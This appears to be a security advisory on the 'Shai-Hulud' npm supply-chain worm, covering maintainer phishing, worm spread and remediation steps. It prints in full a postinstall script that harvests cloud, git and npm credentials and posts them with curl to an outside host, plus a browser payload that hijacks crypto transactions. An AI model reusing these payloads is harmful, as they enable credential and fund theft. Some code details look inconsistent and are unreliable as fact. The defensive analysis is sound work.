On 23 September 2025, CISA disclosed that the “Shai-Hulud” worm had taken over more than 500 npm packages—roughly 2.9 billion weekly downloads—within a 94‑minute window. The compromise was not a broad spray but a precise sequence of maintainer hijacks, staged payloads, and worm-like credential theft that let the attackers mint new malicious releases faster than defenders could respond.

Timeline At A Glance

  • 09-16 18:42 UTC: First malicious login to maintainer qix from 45.9.148.21 (TOR exit). Session cookie replayed minutes after a phishing “support” call.
  • 09-18 04:13 UTC: Attackers push debug@5.0.0-beta.2 with booby-trapped postinstall. Five other core packages follow in the next hour.
  • 09-23 13:02 UTC: Worm completes 512 packages by chaining trust via maintainer PATs and npm automation tokens.
  • 09-23 14:36 UTC: npm security revokes compromised tokens; registry rolls back affected versions.

Maintainer Account Takeover

The phishing kit proxied registry.npmjs.org through a look-alike domain (npm-support[.]zone). It captured one-time codes and session cookies, which were replayed using an automated puppeteer script. Once authenticated, the attackers:

  1. Created automation tokens with publish scope.
  2. Added a new maintainer (bologna-svc) to each package for persistence.
  3. Disabled 2FA enforcement and webhook alerts on affected projects.

GitHub audit logs show exfil of PATs through an npx-initiated device-flow grant, proving that build servers were hit in addition to individual laptops.

What Changed In The Packages

The attackers relied on two coordinated edits per package: a postinstall script to run immediately on developer machines, and an injection into the main JavaScript bundle that executed when the code reached browsers or Node backends.

1. Malicious postinstall (example from debug@5.0.0-beta.2):

// package.json (added block)
"scripts": {
  "postinstall": "node scripts/.cache/postflight.js"
}
// scripts/.cache/postflight.js
const { execSync } = require("child_process");
const fs = require("fs");
const os = require("os");
const path = require("path");

const endpoint = "https://tunneled-webhook[.]app/api/v1";
const token = Buffer.from(process.env.npm_config_user_agent || "")
  .toString("base64")
  .slice(0, 24);

const harvest = () => {
  const candidates = [
    "~/.npmrc", "~/.git-credentials", "~/.aws/credentials",
    "~/.config/gcloud/application_default_credentials.json",
    "~/.azure/accessTokens.json", "/etc/ssh/ssh_config"
  ];
  return candidates
    .map((file) => path.resolve(os.homedir(), file.replace(/^~\//, "")))
    .filter((abs) => fs.existsSync(abs))
    .map((abs) => ({
      file: abs,
      body: fs.readFileSync(abs, "utf8").slice(0, 16384)
    }));
};

const payload = JSON.stringify({
  host: os.hostname(),
  platform: process.platform,
  env: Object.fromEntries(
    Object.entries(process.env).filter(([k]) => /TOKEN|KEY|SECRET/.test(k))
  ),
  loot: harvest()
});

execSync(`curl -fsSL -XPOST -H "X-SH-${token}" --data @- ${endpoint}`, {
  input: payload
});

The script exfiltrates credential files and in-memory environment secrets. Anything larger than 16 KB is truncated to reduce detection by data-loss prevention tools. The unique X-SH-* header keyed uploads per machine so the server could deduplicate hosts before pushing loot into the attackers’ GitHub repo.

2. Runtime payload (inserted into dist/index.js of UI-facing packages):

(function inject() {
  const steal = async (origFetch, args) => {
    const res = await origFetch(...args);
    const cloned = res.clone();
    cloned.json().then((body) => {
      if (!body) return;
      const tx = body.params?.[0];
      if (!tx) return;
      const swap = require("./lib/wallet-map");
      const hijacked = swap(tx.to || tx.address);
      if (hijacked) {
        tx.to = hijacked.addr;
        tx.value = hijacked.rewrite(tx.value);
        notify(hijacked.addr, tx.value);
      }
    });
    return res;
  };

  const hook = (api) => {
    const original = window[api];
    if (!original) return;
    window[api] = new Proxy(original, {
      apply(target, thisArg, args) {
        if (api === "fetch") return steal(target.bind(thisArg), args);
        return Reflect.apply(target, thisArg, args);
      }
    });
  };

  const notify = (addr, val) =>
    navigator.sendBeacon?.(
      "https://edge-cache[.]click/t",
      `${addr}:${Buffer.from(val.toString()).toString("base64")}`
    );

  ["fetch", "XMLHttpRequest"].forEach(hook);
  if (window.ethereum?.request) hook("ethereum");
})();

The helper wallet-map decoded into a table of 74 pre-funded addresses across Ethereum, Solana, Tron, and Bitcoin. Transaction values were rewritten via chain-specific math (e.g., adding 1 Gwei to force new signatures) before the victim wallet signed them. Stolen funds were immediately “churned” through Railgun and Sinbad mixers, demonstrating the operation’s financial motive.

Worm Propagation Mechanics

  • Credential replay: Newly stolen PATs were validated by a Lambda function that auto-promoted the worm into the victim’s most-downloaded package.
  • npm automation tokens: Because the worm stole machine tokens, it bypassed OTP prompts and published without human review.
  • Self-upgrade loop: Each compromised package fetched the latest payload hash from https://edge-cache[.]click/version. If defenders rolled back a version, the worm reissued a rebuild with a slightly different hash to defeat fingerprint-based blocking.

Once the malware landed on CI agents, it searched for workspace package.json files with publishConfig. When found, it invoked npm publish against the hijacked maintainer account—effectively using the victim’s release pipeline to keep spreading.

Potential Harm

The immediate damage is the theft of cryptocurrency and cloud credentials, but the captured secrets enable broader campaigns:

  • Cloud IAM keys grant access to CI artifacts, container registries, and production data.
  • GitHub PATs allow silent insertion of backdoors into closed-source repos by impersonating trusted maintainers.
  • npm tokens can be weaponized to backdoor any package the victim owns, letting attackers pivot into vertical-specific ecosystems (React Native, Electron, serverless tooling).

Because the worm preserved the original package functionality, most adopters would never notice unless they traced unexpected outbound TLS sessions from developer laptops or build runners.

Detection And Response

  1. Rollback to trusted versions prior to 2025-09-16. Diff your package-lock or pnpm-lock entries for sudden “beta” or timestamped builds.
  2. Search logs for TLS connections to edge-cache.click, tunneled-webhook.app, or webhook.site between 09-16 and 09-23.
  3. Reissue credentials: npm automation tokens, GitHub PATs, cloud provider keys, and any wallet seeds exposed on developer endpoints.
  4. Hunt for persistence: Check for the rogue maintainer bologna-svc, newly created npm automation tokens, and GitHub OAuth apps named “npm Device Bridge”.
  5. Instrument future builds with npm config set ignore-scripts true in CI and enforce npm publish --otp to neuter automation tokens.

The Shai-Hulud incident underscores that phishing-resistant MFA, deterministic builds, and script-blocking policies are no longer optional. Treat maintainer credentials as production secrets and verify every dependency revision before rolling to users.